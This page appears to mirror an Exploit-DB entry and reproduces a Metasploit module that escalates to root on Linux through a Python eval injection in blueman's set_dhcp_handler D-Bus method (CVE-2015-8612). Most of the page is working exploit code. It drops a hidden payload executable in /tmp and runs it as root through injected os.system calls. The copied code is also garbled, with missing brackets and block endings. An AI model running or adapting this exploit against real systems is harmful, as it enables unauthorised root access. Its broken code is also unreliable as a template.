blueman – set_dhcp_handler D-Bus Privilege Escalation (Metasploit)

Exploit Database
128 阅读

作者： Metasploit

日期： 2019-01-16
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/46186/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',

'Description'=> %q{

This module attempts to gain root privileges by exploiting a Python

code injection vulnerability in blueman versions prior to 2.0.3.

The <code>org.blueman.Mechanism.EnableNetwork</code> D-Bus interface exposes the

set_dhcp_handler</code> function which uses user input in a call to <code>eval</code>,

without sanitization, resulting in arbitrary code execution as root.

This module has been tested successfully with blueman version 1.23

on Debian 8 Jessie (x64).

'License'=> MSF_LICENSE,

'Author' =>

[

'the grugq', # Discovery and exploit

'bcoles' # Metasploit

'DisclosureDate' => '2015-12-18',

'References' =>

[

['BID', '79688'],

['CVE', '2015-8612'],

['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],

['URL', 'https://github.com/blueman-project/blueman/issues/416'],

['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],

['URL', 'https://www.debian.org/security/2015/dsa-3427'],

['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],

['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']

'Platform' => ['linux'],

'Arch' =>

[

ARCH_X86,

ARCH_X64,

ARCH_ARMLE,

ARCH_AARCH64,

ARCH_PPC,

ARCH_MIPSLE,

ARCH_MIPSBE

'SessionTypes' => ['shell', 'meterpreter'],

'Targets'=> [['Auto', {}]],

'DefaultTarget'=> 0))

register_advanced_options [

OptBool.new('ForceExploit', [false, 'Override check result', false]),

OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])

]

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

register_file_for_cleanup path

end

def upload_and_chmodx(path, data)

upload path, data

chmod path

end

def dbus_send(dest:, type:, path:, interface:, contents:)

cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"

end

def check

unless command_exists? 'dbus-send'

vprint_error 'dbus-send is not installed. Exploitation will fail.'

return CheckCode::Safe

end

vprint_good 'dbus-send is installed'

res = dbus_send(

dest: 'org.blueman.Mechanism',

type: 'method_call',

path: '/',

interface: 'org.freedesktop.DBus.Introspectable.Introspect',

contents: ''

)

unless res.include? 'EnableNetwork'

vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'

return CheckCode::Safe

end

vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'

res = execute_python('')

unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'

vprint_error 'Target is not vulnerable'

return CheckCode::Safe

end

CheckCode::Vulnerable

end

def execute_python(code)

dbus_send(

dest: 'org.blueman.Mechanism',

type: 'method_call',

path: '/',

interface: 'org.blueman.Mechanism.EnableNetwork',

contents: "'string:[]' 'string:[]' 'string:#{code}'"

)

end

def exploit

unless check == CheckCode::Vulnerable

unless datastore['ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

if is_root?

unless datastore['ForceExploit']

fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'

end

unless writable? base_dir

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

payload_name = ".#{rand_text_alphanumeric 10..15}"

payload_path = "#{base_dir}/#{payload_name}"

upload_and_chmodx payload_path, generate_payload_exe

print_status 'Executing payload...'

res = execute_python "os.system(\"#{payload_path}&\")"

vprint_line res

unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'

fail_with Failure::NotVulnerable, 'The target is not vulnerable'

end

if res.include? 'SyntaxError:'

fail_with Failure::Unknown, 'Payload execution failed due to syntax error'

end